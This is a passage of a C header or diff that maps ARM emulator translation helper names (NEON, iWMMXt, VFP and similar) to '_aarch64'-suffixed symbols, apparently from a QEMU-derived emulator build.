+#define gen_helper_iwmmxt_sllq gen_helper_iwmmxt_sllq_aarch64 +#define gen_helper_iwmmxt_sllw gen_helper_iwmmxt_sllw_aarch64 +#define gen_helper_iwmmxt_sral gen_helper_iwmmxt_sral_aarch64 +#define gen_helper_iwmmxt_sraq gen_helper_iwmmxt_sraq_aarch64 +#define gen_helper_iwmmxt_sraw gen_helper_iwmmxt_sraw_aarch64 +#define gen_helper_iwmmxt_srll gen_helper_iwmmxt_srll_aarch64 +#define gen_helper_iwmmxt_srlq gen_helper_iwmmxt_srlq_aarch64 +#define gen_helper_iwmmxt_srlw gen_helper_iwmmxt_srlw_aarch64 +#define gen_helper_iwmmxt_subnb gen_helper_iwmmxt_subnb_aarch64 +#define gen_helper_iwmmxt_subnl gen_helper_iwmmxt_subnl_aarch64 +#define gen_helper_iwmmxt_subnw gen_helper_iwmmxt_subnw_aarch64 +#define gen_helper_iwmmxt_subsb gen_helper_iwmmxt_subsb_aarch64 +#define gen_helper_iwmmxt_subsl gen_helper_iwmmxt_subsl_aarch64 +#define gen_helper_iwmmxt_subsw gen_helper_iwmmxt_subsw_aarch64 +#define gen_helper_iwmmxt_subub gen_helper_iwmmxt_subub_aarch64 +#define gen_helper_iwmmxt_subul gen_helper_iwmmxt_subul_aarch64 +#define gen_helper_iwmmxt_subuw gen_helper_iwmmxt_subuw_aarch64 +#define gen_helper_iwmmxt_unpackhb gen_helper_iwmmxt_unpackhb_aarch64 +#define gen_helper_iwmmxt_unpackhl gen_helper_iwmmxt_unpackhl_aarch64 +#define gen_helper_iwmmxt_unpackhsb gen_helper_iwmmxt_unpackhsb_aarch64 +#define gen_helper_iwmmxt_unpackhsl gen_helper_iwmmxt_unpackhsl_aarch64 +#define gen_helper_iwmmxt_unpackhsw gen_helper_iwmmxt_unpackhsw_aarch64 +#define gen_helper_iwmmxt_unpackhub gen_helper_iwmmxt_unpackhub_aarch64 +#define gen_helper_iwmmxt_unpackhul gen_helper_iwmmxt_unpackhul_aarch64 +#define gen_helper_iwmmxt_unpackhuw gen_helper_iwmmxt_unpackhuw_aarch64 +#define gen_helper_iwmmxt_unpackhw gen_helper_iwmmxt_unpackhw_aarch64 +#define gen_helper_iwmmxt_unpacklb gen_helper_iwmmxt_unpacklb_aarch64 +#define gen_helper_iwmmxt_unpackll gen_helper_iwmmxt_unpackll_aarch64 +#define gen_helper_iwmmxt_unpacklsb gen_helper_iwmmxt_unpacklsb_aarch64 +#define gen_helper_iwmmxt_unpacklsl gen_helper_iwmmxt_unpacklsl_aarch64 +#define gen_helper_iwmmxt_unpacklsw gen_helper_iwmmxt_unpacklsw_aarch64 +#define gen_helper_iwmmxt_unpacklub gen_helper_iwmmxt_unpacklub_aarch64 +#define gen_helper_iwmmxt_unpacklul gen_helper_iwmmxt_unpacklul_aarch64 +#define gen_helper_iwmmxt_unpackluw gen_helper_iwmmxt_unpackluw_aarch64 +#define gen_helper_iwmmxt_unpacklw gen_helper_iwmmxt_unpacklw_aarch64 +#define gen_helper_neon_abd_f32 gen_helper_neon_abd_f32_aarch64 +#define gen_helper_neon_abdl_s16 gen_helper_neon_abdl_s16_aarch64 +#define gen_helper_neon_abdl_s32 gen_helper_neon_abdl_s32_aarch64 +#define gen_helper_neon_abdl_s64 gen_helper_neon_abdl_s64_aarch64 +#define gen_helper_neon_abdl_u16 gen_helper_neon_abdl_u16_aarch64 +#define gen_helper_neon_abdl_u32 gen_helper_neon_abdl_u32_aarch64 +#define gen_helper_neon_abdl_u64 gen_helper_neon_abdl_u64_aarch64 +#define gen_helper_neon_abd_s16 gen_helper_neon_abd_s16_aarch64 +#define gen_helper_neon_abd_s32 gen_helper_neon_abd_s32_aarch64 +#define gen_helper_neon_abd_s8 gen_helper_neon_abd_s8_aarch64 +#define gen_helper_neon_abd_u16 gen_helper_neon_abd_u16_aarch64 +#define gen_helper_neon_abd_u32 gen_helper_neon_abd_u32_aarch64 +#define gen_helper_neon_abd_u8 gen_helper_neon_abd_u8_aarch64 +#define gen_helper_neon_abs_s16 gen_helper_neon_abs_s16_aarch64 +#define gen_helper_neon_abs_s8 gen_helper_neon_abs_s8_aarch64 +#define gen_helper_neon_acge_f32 gen_helper_neon_acge_f32_aarch64 +#define gen_helper_neon_acgt_f32 gen_helper_neon_acgt_f32_aarch64 +#define gen_helper_neon_addl_saturate_s32 gen_helper_neon_addl_saturate_s32_aarch64 +#define gen_helper_neon_addl_saturate_s64 gen_helper_neon_addl_saturate_s64_aarch64 +#define gen_helper_neon_addl_u16 gen_helper_neon_addl_u16_aarch64 +#define gen_helper_neon_addl_u32 gen_helper_neon_addl_u32_aarch64 +#define gen_helper_neon_add_u16 gen_helper_neon_add_u16_aarch64 +#define gen_helper_neon_add_u8 gen_helper_neon_add_u8_aarch64 +#define gen_helper_neon_ceq_f32 gen_helper_neon_ceq_f32_aarch64 +#define gen_helper_neon_ceq_u16 gen_helper_neon_ceq_u16_aarch64 +#define gen_helper_neon_ceq_u32 gen_helper_neon_ceq_u32_aarch64 +#define gen_helper_neon_ceq_u8 gen_helper_neon_ceq_u8_aarch64 +#define gen_helper_neon_cge_f32 gen_helper_neon_cge_f32_aarch64 +#define gen_helper_neon_cge_s16 gen_helper_neon_cge_s16_aarch64 +#define gen_helper_neon_cge_s32 gen_helper_neon_cge_s32_aarch64 +#define gen_helper_neon_cge_s8 gen_helper_neon_cge_s8_aarch64 +#define gen_helper_neon_cge_u16 gen_helper_neon_cge_u16_aarch64 +#define gen_helper_neon_cge_u32 gen_helper_neon_cge_u32_aarch64 +#define gen_helper_neon_cge_u8 gen_helper_neon_cge_u8_aarch64 +#define gen_helper_neon_cgt_f32 gen_helper_neon_cgt_f32_aarch64 +#define gen_helper_neon_cgt_s16 gen_helper_neon_cgt_s16_aarch64 +#define gen_helper_neon_cgt_s32 gen_helper_neon_cgt_s32_aarch64 +#define gen_helper_neon_cgt_s8 gen_helper_neon_cgt_s8_aarch64 +#define gen_helper_neon_cgt_u16 gen_helper_neon_cgt_u16_aarch64 +#define gen_helper_neon_cgt_u32 gen_helper_neon_cgt_u32_aarch64 +#define gen_helper_neon_cgt_u8 gen_helper_neon_cgt_u8_aarch64 +#define gen_helper_neon_cls_s16 gen_helper_neon_cls_s16_aarch64 +#define gen_helper_neon_cls_s32 gen_helper_neon_cls_s32_aarch64 +#define gen_helper_neon_cls_s8 gen_helper_neon_cls_s8_aarch64 +#define gen_helper_neon_clz_u16 gen_helper_neon_clz_u16_aarch64 +#define gen_helper_neon_clz_u8 gen_helper_neon_clz_u8_aarch64 +#define gen_helper_neon_cnt_u8 gen_helper_neon_cnt_u8_aarch64 +#define gen_helper_neon_fcvt_f16_to_f32 gen_helper_neon_fcvt_f16_to_f32_aarch64 +#define gen_helper_neon_fcvt_f32_to_f16 gen_helper_neon_fcvt_f32_to_f16_aarch64 +#define gen_helper_neon_hadd_s16 gen_helper_neon_hadd_s16_aarch64 +#define gen_helper_neon_hadd_s32 gen_helper_neon_hadd_s32_aarch64 +#define gen_helper_neon_hadd_s8 gen_helper_neon_hadd_s8_aarch64 +#define gen_helper_neon_hadd_u16 gen_helper_neon_hadd_u16_aarch64 +#define gen_helper_neon_hadd_u32 gen_helper_neon_hadd_u32_aarch64 +#define gen_helper_neon_hadd_u8 gen_helper_neon_hadd_u8_aarch64 +#define gen_helper_neon_hsub_s16 gen_helper_neon_hsub_s16_aarch64 +#define gen_helper_neon_hsub_s32 gen_helper_neon_hsub_s32_aarch64 +#define gen_helper_neon_hsub_s8 gen_helper_neon_hsub_s8_aarch64 +#define gen_helper_neon_hsub_u16 gen_helper_neon_hsub_u16_aarch64 +#define gen_helper_neon_hsub_u32 gen_helper_neon_hsub_u32_aarch64 +#define gen_helper_neon_hsub_u8 gen_helper_neon_hsub_u8_aarch64 +#define gen_helper_neon_max_s16 gen_helper_neon_max_s16_aarch64 +#define gen_helper_neon_max_s32 gen_helper_neon_max_s32_aarch64 +#define gen_helper_neon_max_s8 gen_helper_neon_max_s8_aarch64 +#define gen_helper_neon_max_u16 gen_helper_neon_max_u16_aarch64 +#define gen_helper_neon_max_u32 gen_helper_neon_max_u32_aarch64 +#define gen_helper_neon_max_u8 gen_helper_neon_max_u8_aarch64 +#define gen_helper_neon_min_s16 gen_helper_neon_min_s16_aarch64 +#define gen_helper_neon_min_s32 gen_helper_neon_min_s32_aarch64 +#define gen_helper_neon_min_s8 gen_helper_neon_min_s8_aarch64 +#define gen_helper_neon_min_u16 gen_helper_neon_min_u16_aarch64 +#define gen_helper_neon_min_u32 gen_helper_neon_min_u32_aarch64 +#define gen_helper_neon_min_u8 gen_helper_neon_min_u8_aarch64 +#define gen_helper_neon_mull_p8 gen_helper_neon_mull_p8_aarch64 +#define gen_helper_neon_mull_s16 gen_helper_neon_mull_s16_aarch64 +#define gen_helper_neon_mull_s8 gen_helper_neon_mull_s8_aarch64 +#define gen_helper_neon_mull_u16 gen_helper_neon_mull_u16_aarch64 +#define gen_helper_neon_mull_u8 gen_helper_neon_mull_u8_aarch64 +#define gen_helper_neon_mul_p8 gen_helper_neon_mul_p8_aarch64 +#define gen_helper_neon_mul_u16 gen_helper_neon_mul_u16_aarch64 +#define gen_helper_neon_mul_u8 gen_helper_neon_mul_u8_aarch64 +#define gen_helper_neon_narrow_high_u16 gen_helper_neon_narrow_high_u16_aarch64 +#define gen_helper_neon_narrow_high_u8 gen_helper_neon_narrow_high_u8_aarch64 +#define gen_helper_neon_narrow_round_high_u16 gen_helper_neon_narrow_round_high_u16_aarch64 +#define gen_helper_neon_narrow_round_high_u8 gen_helper_neon_narrow_round_high_u8_aarch64 +#define gen_helper_neon_narrow_sat_s16 gen_helper_neon_narrow_sat_s16_aarch64 +#define gen_helper_neon_narrow_sat_s32 gen_helper_neon_narrow_sat_s32_aarch64 +#define gen_helper_neon_narrow_sat_s8 gen_helper_neon_narrow_sat_s8_aarch64 +#define gen_helper_neon_narrow_sat_u16 gen_helper_neon_narrow_sat_u16_aarch64 +#define gen_helper_neon_narrow_sat_u32 gen_helper_neon_narrow_sat_u32_aarch64 +#define gen_helper_neon_narrow_sat_u8 gen_helper_neon_narrow_sat_u8_aarch64 +#define gen_helper_neon_narrow_u16 gen_helper_neon_narrow_u16_aarch64 +#define gen_helper_neon_narrow_u8 gen_helper_neon_narrow_u8_aarch64 +#define gen_helper_neon_negl_u16 gen_helper_neon_negl_u16_aarch64 +#define gen_helper_neon_negl_u32 gen_helper_neon_negl_u32_aarch64 +#define gen_helper_neon_paddl_u16 gen_helper_neon_paddl_u16_aarch64 +#define gen_helper_neon_paddl_u32 gen_helper_neon_paddl_u32_aarch64 +#define gen_helper_neon_padd_u16 gen_helper_neon_padd_u16_aarch64 +#define gen_helper_neon_padd_u8 gen_helper_neon_padd_u8_aarch64 +#define gen_helper_neon_pmax_s16 gen_helper_neon_pmax_s16_aarch64 +#define gen_helper_neon_pmax_s8 gen_helper_neon_pmax_s8_aarch64 +#define gen_helper_neon_pmax_u16 gen_helper_neon_pmax_u16_aarch64 +#define gen_helper_neon_pmax_u8 gen_helper_neon_pmax_u8_aarch64 +#define gen_helper_neon_pmin_s16 gen_helper_neon_pmin_s16_aarch64 +#define gen_helper_neon_pmin_s8 gen_helper_neon_pmin_s8_aarch64 +#define gen_helper_neon_pmin_u16 gen_helper_neon_pmin_u16_aarch64 +#define gen_helper_neon_pmin_u8 gen_helper_neon_pmin_u8_aarch64 +#define gen_helper_neon_pmull_64_hi gen_helper_neon_pmull_64_hi_aarch64 +#define gen_helper_neon_pmull_64_lo gen_helper_neon_pmull_64_lo_aarch64 +#define gen_helper_neon_qabs_s16 gen_helper_neon_qabs_s16_aarch64 +#define gen_helper_neon_qabs_s32 gen_helper_neon_qabs_s32_aarch64 +#define gen_helper_neon_qabs_s8 gen_helper_neon_qabs_s8_aarch64 +#define gen_helper_neon_qadd_s16 gen_helper_neon_qadd_s16_aarch64 +#define gen_helper_neon_qadd_s32 gen_helper_neon_qadd_s32_aarch64 +#define gen_helper_neon_qadd_s64 gen_helper_neon_qadd_s64_aarch64 +#define gen_helper_neon_qadd_s8 gen_helper_neon_qadd_s8_aarch64 +#define gen_helper_neon_qadd_u16 gen_helper_neon_qadd_u16_aarch64 +#define gen_helper_neon_qadd_u32 gen_helper_neon_qadd_u32_aarch64 +#define gen_helper_neon_qadd_u64 gen_helper_neon_qadd_u64_aarch64 +#define gen_helper_neon_qadd_u8 gen_helper_neon_qadd_u8_aarch64 +#define gen_helper_neon_qdmulh_s16 gen_helper_neon_qdmulh_s16_aarch64 +#define gen_helper_neon_qdmulh_s32 gen_helper_neon_qdmulh_s32_aarch64 +#define gen_helper_neon_qneg_s16 gen_helper_neon_qneg_s16_aarch64 +#define gen_helper_neon_qneg_s32 gen_helper_neon_qneg_s32_aarch64 +#define gen_helper_neon_qneg_s8 gen_helper_neon_qneg_s8_aarch64 +#define gen_helper_neon_qrdmulh_s16 gen_helper_neon_qrdmulh_s16_aarch64 +#define gen_helper_neon_qrdmulh_s32 gen_helper_neon_qrdmulh_s32_aarch64 +#define gen_helper_neon_qrshl_s16 gen_helper_neon_qrshl_s16_aarch64 +#define gen_helper_neon_qrshl_s32 gen_helper_neon_qrshl_s32_aarch64 +#define gen_helper_neon_qrshl_s64 gen_helper_neon_qrshl_s64_aarch64 +#define gen_helper_neon_qrshl_s8 gen_helper_neon_qrshl_s8_aarch64 +#define gen_helper_neon_qrshl_u16 gen_helper_neon_qrshl_u16_aarch64 +#define gen_helper_neon_qrshl_u32 gen_helper_neon_qrshl_u32_aarch64 +#define gen_helper_neon_qrshl_u64 gen_helper_neon_qrshl_u64_aarch64 +#define gen_helper_neon_qrshl_u8 gen_helper_neon_qrshl_u8_aarch64 +#define gen_helper_neon_qshl_s16 gen_helper_neon_qshl_s16_aarch64 +#define gen_helper_neon_qshl_s32 gen_helper_neon_qshl_s32_aarch64 +#define gen_helper_neon_qshl_s64 gen_helper_neon_qshl_s64_aarch64 +#define gen_helper_neon_qshl_s8 gen_helper_neon_qshl_s8_aarch64 +#define gen_helper_neon_qshl_u16 gen_helper_neon_qshl_u16_aarch64 +#define gen_helper_neon_qshl_u32 gen_helper_neon_qshl_u32_aarch64 +#define gen_helper_neon_qshl_u64 gen_helper_neon_qshl_u64_aarch64 +#define gen_helper_neon_qshl_u8 gen_helper_neon_qshl_u8_aarch64 +#define gen_helper_neon_qshlu_s16 gen_helper_neon_qshlu_s16_aarch64 +#define gen_helper_neon_qshlu_s32 gen_helper_neon_qshlu_s32_aarch64 +#define gen_helper_neon_qshlu_s64 gen_helper_neon_qshlu_s64_aarch64 +#define gen_helper_neon_qshlu_s8 gen_helper_neon_qshlu_s8_aarch64 +#define gen_helper_neon_qsub_s16 gen_helper_neon_qsub_s16_aarch64 +#define gen_helper_neon_qsub_s32 gen_helper_neon_qsub_s32_aarch64 +#define gen_helper_neon_qsub_s64 gen_helper_neon_qsub_s64_aarch64 +#define gen_helper_neon_qsub_s8 gen_helper_neon_qsub_s8_aarch64 +#define gen_helper_neon_qsub_u16 gen_helper_neon_qsub_u16_aarch64 +#define gen_helper_neon_qsub_u32 gen_helper_neon_qsub_u32_aarch64 +#define gen_helper_neon_qsub_u64 gen_helper_neon_qsub_u64_aarch64 +#define gen_helper_neon_qsub_u8 gen_helper_neon_qsub_u8_aarch64 +#define gen_helper_neon_qunzip16 gen_helper_neon_qunzip16_aarch64 +#define gen_helper_neon_qunzip32 gen_helper_neon_qunzip32_aarch64 +#define gen_helper_neon_qunzip8 gen_helper_neon_qunzip8_aarch64 +#define gen_helper_neon_qzip16 gen_helper_neon_qzip16_aarch64 +#define gen_helper_neon_qzip32 gen_helper_neon_qzip32_aarch64 +#define gen_helper_neon_qzip8 gen_helper_neon_qzip8_aarch64 +#define gen_helper_neon_rhadd_s16 gen_helper_neon_rhadd_s16_aarch64 +#define gen_helper_neon_rhadd_s32 gen_helper_neon_rhadd_s32_aarch64 +#define gen_helper_neon_rhadd_s8 gen_helper_neon_rhadd_s8_aarch64 +#define gen_helper_neon_rhadd_u16 gen_helper_neon_rhadd_u16_aarch64 +#define gen_helper_neon_rhadd_u32 gen_helper_neon_rhadd_u32_aarch64 +#define gen_helper_neon_rhadd_u8 gen_helper_neon_rhadd_u8_aarch64 +#define gen_helper_neon_rshl_s16 gen_helper_neon_rshl_s16_aarch64 +#define gen_helper_neon_rshl_s32 gen_helper_neon_rshl_s32_aarch64 +#define gen_helper_neon_rshl_s64 gen_helper_neon_rshl_s64_aarch64 +#define gen_helper_neon_rshl_s8 gen_helper_neon_rshl_s8_aarch64 +#define gen_helper_neon_rshl_u16 gen_helper_neon_rshl_u16_aarch64 +#define gen_helper_neon_rshl_u32 gen_helper_neon_rshl_u32_aarch64 +#define gen_helper_neon_rshl_u64 gen_helper_neon_rshl_u64_aarch64 +#define gen_helper_neon_rshl_u8 gen_helper_neon_rshl_u8_aarch64 +#define gen_helper_neon_shl_s16 gen_helper_neon_shl_s16_aarch64 +#define gen_helper_neon_shl_s32 gen_helper_neon_shl_s32_aarch64 +#define gen_helper_neon_shl_s64 gen_helper_neon_shl_s64_aarch64 +#define gen_helper_neon_shl_s8 gen_helper_neon_shl_s8_aarch64 +#define gen_helper_neon_shl_u16 gen_helper_neon_shl_u16_aarch64 +#define gen_helper_neon_shl_u32 gen_helper_neon_shl_u32_aarch64 +#define gen_helper_neon_shl_u64 gen_helper_neon_shl_u64_aarch64 +#define gen_helper_neon_shl_u8 gen_helper_neon_shl_u8_aarch64 +#define gen_helper_neon_subl_u16 gen_helper_neon_subl_u16_aarch64 +#define gen_helper_neon_subl_u32 gen_helper_neon_subl_u32_aarch64 +#define gen_helper_neon_sub_u16 gen_helper_neon_sub_u16_aarch64 +#define gen_helper_neon_sub_u8 gen_helper_neon_sub_u8_aarch64 +#define gen_helper_neon_tbl gen_helper_neon_tbl_aarch64 +#define gen_helper_neon_tst_u16 gen_helper_neon_tst_u16_aarch64 +#define gen_helper_neon_tst_u32 gen_helper_neon_tst_u32_aarch64 +#define gen_helper_neon_tst_u8 gen_helper_neon_tst_u8_aarch64 +#define gen_helper_neon_unarrow_sat16 gen_helper_neon_unarrow_sat16_aarch64 +#define gen_helper_neon_unarrow_sat32 gen_helper_neon_unarrow_sat32_aarch64 +#define gen_helper_neon_unarrow_sat8 gen_helper_neon_unarrow_sat8_aarch64 +#define gen_helper_neon_unzip16 gen_helper_neon_unzip16_aarch64 +#define gen_helper_neon_unzip8 gen_helper_neon_unzip8_aarch64 +#define gen_helper_neon_widen_s16 gen_helper_neon_widen_s16_aarch64 +#define gen_helper_neon_widen_s8 gen_helper_neon_widen_s8_aarch64 +#define gen_helper_neon_widen_u16 gen_helper_neon_widen_u16_aarch64 +#define gen_helper_neon_widen_u8 gen_helper_neon_widen_u8_aarch64 +#define gen_helper_neon_zip16 gen_helper_neon_zip16_aarch64 +#define gen_helper_neon_zip8 gen_helper_neon_zip8_aarch64 +#define gen_helper_pre_hvc gen_helper_pre_hvc_aarch64 +#define gen_helper_pre_smc gen_helper_pre_smc_aarch64 +#define gen_helper_qadd16 gen_helper_qadd16_aarch64 +#define gen_helper_qadd8 gen_helper_qadd8_aarch64 +#define gen_helper_qaddsubx gen_helper_qaddsubx_aarch64 +#define gen_helper_qsub16 gen_helper_qsub16_aarch64 +#define gen_helper_qsub8 gen_helper_qsub8_aarch64 +#define gen_helper_qsubaddx gen_helper_qsubaddx_aarch64 +#define gen_helper_rbit gen_helper_rbit_aarch64 +#define gen_helper_recpe_f32 gen_helper_recpe_f32_aarch64 +#define gen_helper_recpe_u32 gen_helper_recpe_u32_aarch64 +#define gen_helper_recps_f32 gen_helper_recps_f32_aarch64 +#define gen_helper_rintd gen_helper_rintd_aarch64 +#define gen_helper_rintd_exact gen_helper_rintd_exact_aarch64 +#define gen_helper_rints gen_helper_rints_aarch64 +#define gen_helper_rints_exact gen_helper_rints_exact_aarch64 +#define gen_helper_ror_cc gen_helper_ror_cc_aarch64 +#define gen_helper_rsqrte_f32 gen_helper_rsqrte_f32_aarch64 +#define gen_helper_rsqrte_u32 gen_helper_rsqrte_u32_aarch64 +#define gen_helper_rsqrts_f32 gen_helper_rsqrts_f32_aarch64 +#define gen_helper_sadd16 gen_helper_sadd16_aarch64 +#define gen_helper_sadd8 gen_helper_sadd8_aarch64 +#define gen_helper_saddsubx gen_helper_saddsubx_aarch64 +#define gen_helper_sar_cc gen_helper_sar_cc_aarch64 +#define gen_helper_sdiv gen_helper_sdiv_aarch64 +#define gen_helper_sel_flags gen_helper_sel_flags_aarch64 +#define gen_helper_set_cp_reg gen_helper_set_cp_reg_aarch64 +#define gen_helper_set_cp_reg64 gen_helper_set_cp_reg64_aarch64 +#define gen_helper_set_neon_rmode gen_helper_set_neon_rmode_aarch64 +#define gen_helper_set_r13_banked gen_helper_set_r13_banked_aarch64 +#define gen_helper_set_rmode gen_helper_set_rmode_aarch64 +#define gen_helper_set_user_reg gen_helper_set_user_reg_aarch64 +#define gen_helper_shadd16 gen_helper_shadd16_aarch64 +#define gen_helper_shadd8 gen_helper_shadd8_aarch64 +#define gen_helper_shaddsubx gen_helper_shaddsubx_aarch64 +#define gen_helper_shl_cc gen_helper_shl_cc_aarch64 +#define gen_helper_shr_cc gen_helper_shr_cc_aarch64 +#define gen_helper_shsub16 gen_helper_shsub16_aarch64 +#define gen_helper_shsub8 gen_helper_shsub8_aarch64 +#define gen_helper_shsubaddx gen_helper_shsubaddx_aarch64 +#define gen_helper_ssat gen_helper_ssat_aarch64 +#define gen_helper_ssat16 gen_helper_ssat16_aarch64 +#define gen_helper_ssub16 gen_helper_ssub16_aarch64 +#define gen_helper_ssub8 gen_helper_ssub8_aarch64 +#define gen_helper_ssubaddx gen_helper_ssubaddx_aarch64 +#define gen_helper_sub_saturate gen_helper_sub_saturate_aarch64 +#define gen_helper_sxtb16 gen_helper_sxtb16_aarch64 +#define gen_helper_uadd16 gen_helper_uadd16_aarch64 +#define gen_helper_uadd8 gen_helper_uadd8_aarch64 +#define gen_helper_uaddsubx gen_helper_uaddsubx_aarch64 +#define gen_helper_udiv gen_helper_udiv_aarch64 +#define gen_helper_uhadd16 gen_helper_uhadd16_aarch64 +#define gen_helper_uhadd8 gen_helper_uhadd8_aarch64 +#define gen_helper_uhaddsubx gen_helper_uhaddsubx_aarch64 +#define gen_helper_uhsub16 gen_helper_uhsub16_aarch64 +#define gen_helper_uhsub8 gen_helper_uhsub8_aarch64 +#define gen_helper_uhsubaddx gen_helper_uhsubaddx_aarch64 +#define gen_helper_uqadd16 gen_helper_uqadd16_aarch64 +#define gen_helper_uqadd8 gen_helper_uqadd8_aarch64 +#define gen_helper_uqaddsubx gen_helper_uqaddsubx_aarch64 +#define gen_helper_uqsub16 gen_helper_uqsub16_aarch64 +#define gen_helper_uqsub8 gen_helper_uqsub8_aarch64 +#define gen_helper_uqsubaddx gen_helper_uqsubaddx_aarch64 +#define gen_helper_usad8 gen_helper_usad8_aarch64 +#define gen_helper_usat gen_helper_usat_aarch64 +#define gen_helper_usat16 gen_helper_usat16_aarch64 +#define gen_helper_usub16 gen_helper_usub16_aarch64 +#define gen_helper_usub8 gen_helper_usub8_aarch64 +#define gen_helper_usubaddx gen_helper_usubaddx_aarch64 +#define gen_helper_uxtb16 gen_helper_uxtb16_aarch64 +#define gen_helper_v7m_mrs gen_helper_v7m_mrs_aarch64 +#define gen_helper_v7m_msr gen_helper_v7m_msr_aarch64 +#define gen_helper_vfp_absd gen_helper_vfp_absd_aarch64 +#define gen_helper_vfp_abss gen_helper_vfp_abss_aarch64 +#define gen_helper_vfp_addd gen_helper_vfp_addd_aarch64 +#define gen_helper_vfp_adds gen_helper_vfp_adds_aarch64 +#define gen_helper_vfp_cmpd gen_helper_vfp_cmpd_aarch64 +#define gen_helper_vfp_cmped gen_helper_vfp_cmped_aarch64 +#define gen_helper_vfp_cmpes gen_helper_vfp_cmpes_aarch64 +#define gen_helper_vfp_cmps gen_helper_vfp_cmps_aarch64 +#define gen_helper_vfp_divd gen_helper_vfp_divd_aarch64 +#define gen_helper_vfp_divs gen_helper_vfp_divs_aarch64 +#define gen_helper_vfp_fcvtds gen_helper_vfp_fcvtds_aarch64 +#define gen_helper_vfp_fcvt_f16_to_f32 gen_helper_vfp_fcvt_f16_to_f32_aarch64 +#define gen_helper_vfp_fcvt_f16_to_f64 gen_helper_vfp_fcvt_f16_to_f64_aarch64 +#define gen_helper_vfp_fcvt_f32_to_f16 gen_helper_vfp_fcvt_f32_to_f16_aarch64 +#define gen_helper_vfp_fcvt_f64_to_f16 gen_helper_vfp_fcvt_f64_to_f16_aarch64 +#define gen_helper_vfp_fcvtsd gen_helper_vfp_fcvtsd_aarch64 +#define gen_helper_vfp_get_fpscr gen_helper_vfp_get_fpscr_aarch64 +#define gen_helper_vfp_maxnumd gen_helper_vfp_maxnumd_aarch64 +#define gen_helper_vfp_maxnums gen_helper_vfp_maxnums_aarch64 +#define gen_helper_vfp_maxs gen_helper_vfp_maxs_aarch64 +#define gen_helper_vfp_minnumd gen_helper_vfp_minnumd_aarch64 +#define gen_helper_vfp_minnums gen_helper_vfp_minnums_aarch64 +#define gen_helper_vfp_mins gen_helper_vfp_mins_aarch64 +#define gen_helper_vfp_muladdd gen_helper_vfp_muladdd_aarch64 +#define gen_helper_vfp_muladds gen_helper_vfp_muladds_aarch64 +#define gen_helper_vfp_muld gen_helper_vfp_muld_aarch64 +#define gen_helper_vfp_muls gen_helper_vfp_muls_aarch64 +#define gen_helper_vfp_negd gen_helper_vfp_negd_aarch64 +#define gen_helper_vfp_negs gen_helper_vfp_negs_aarch64 +#define gen_helper_vfp_set_fpscr gen_helper_vfp_set_fpscr_aarch64 +#define gen_helper_vfp_shtod gen_helper_vfp_shtod_aarch64 +#define gen_helper_vfp_shtos gen_helper_vfp_shtos_aarch64 +#define gen_helper_vfp_sitod gen_helper_vfp_sitod_aarch64 +#define gen_helper_vfp_sitos gen_helper_vfp_sitos_aarch64 +#define gen_helper_vfp_sltod gen_helper_vfp_sltod_aarch64 +#define gen_helper_vfp_sltos gen_helper_vfp_sltos_aarch64 +#define gen_helper_vfp_sqrtd gen_helper_vfp_sqrtd_aarch64 +#define gen_helper_vfp_sqrts gen_helper_vfp_sqrts_aarch64 +#define gen_helper_vfp_subd gen_helper_vfp_subd_aarch64 +#define gen_helper_vfp_subs gen_helper_vfp_subs_aarch64 +#define gen_helper_vfp_toshd_round_to_zero gen_helper_vfp_toshd_round_to_zero_aarch64 +#define gen_helper_vfp_toshs_round_to_zero gen_helper_vfp_toshs_round_to_zero_aarch64 +#define gen_helper_vfp_tosid gen_helper_vfp_tosid_aarch64 +#define gen_helper_vfp_tosis gen_helper_vfp_tosis_aarch64 +#define gen_helper_vfp_tosizd gen_helper_vfp_tosizd_aarch64 +#define gen_helper_vfp_tosizs gen_helper_vfp_tosizs_aarch64 +#define gen_helper_vfp_tosld gen_helper_vfp_tosld_aarch64 +#define gen_helper_vfp_tosld_round_to_zero gen_helper_vfp_tosld_round_to_zero_aarch64 +#define gen_helper_vfp_tosls gen_helper_vfp_tosls_aarch64 +#define gen_helper_vfp_tosls_round_to_zero gen_helper_vfp_tosls_round_to_zero_aarch64 +#define gen_helper_vfp_touhd_round_to_zero gen_helper_vfp_touhd_round_to_zero_aarch64 +#define gen_helper_vfp_touhs_round_to_zero gen_helper_vfp_touhs_round_to_zero_aarch64 +#define gen_helper_vfp_touid gen_helper_vfp_touid_aarch64 +#define gen_helper_vfp_touis gen_helper_vfp_touis_aarch64 +#define gen_helper_vfp_touizd gen_helper_vfp_touizd_aarch64 +#define gen_helper_vfp_touizs gen_helper_vfp_touizs_aarch64 +#define gen_helper_vfp_tould gen_helper_vfp_tould_aarch64 +#define gen_helper_vfp_tould_round_to_zero gen_helper_vfp_tould_round_to_zero_aarch64 +#define gen_helper_vfp_touls gen_helper_vfp_touls_aarch64 +#define gen_helper_vfp_touls_round_to_zero gen_helper_vfp_touls_round_to_zero_aarch64 +#define gen_helper_vfp_uhtod gen_helper_vfp_uhtod_aarch64 +#define gen_helper_vfp_uhtos gen_helper_vfp_uhtos_aarch64 +#define gen_helper_vfp_uitod gen_helper_vfp_uitod_aarch64 +#define gen_helper_vfp_uitos gen_helper_vfp_uitos_aarch64 +#define gen_helper_vfp_ultod gen_helper_vfp_ultod_aarch64 +#define gen_helper_vfp_ultos gen_helper_vfp_ultos_aarch64 +#define gen_helper_wfe gen_helper_wfe_aarch64 +#define gen_helper_wfi gen_helper_wfi_aarch64 +#define gen_hvc gen_hvc_aarch64 +#define gen_intermediate_code_internal gen_intermediate_code_internal_aarch64 +#define gen_intermediate_code_internal_a64 gen_intermediate_code_internal_a64_aarch64 +#define gen_iwmmxt_address gen_iwmmxt_address_aarch64 +#define gen_iwmmxt_shift gen_iwmmxt_shift_aarch64 +#define gen_jmp gen_jmp_aarch64 +#define gen_load_and_replicate gen_load_and_replicate_aarch64 +#define gen_load_exclusive gen_load_exclusive_aarch64 +#define gen_logic_CC gen_logic_CC_aarch64 +#define gen_logicq_cc gen_logicq_cc_aarch64 +#define gen_lookup_tb gen_lookup_tb_aarch64 +#define gen_mov_F0_vreg gen_mov_F0_vreg_aarch64 +#define gen_mov_F1_vreg gen_mov_F1_vreg_aarch64 +#define gen_mov_vreg_F0 gen_mov_vreg_F0_aarch64 +#define gen_muls_i64_i32 gen_muls_i64_i32_aarch64 +#define gen_mulu_i64_i32 gen_mulu_i64_i32_aarch64 +#define gen_mulxy gen_mulxy_aarch64 +#define gen_neon_add gen_neon_add_aarch64 +#define gen_neon_addl gen_neon_addl_aarch64 +#define gen_neon_addl_saturate gen_neon_addl_saturate_aarch64 +#define gen_neon_bsl 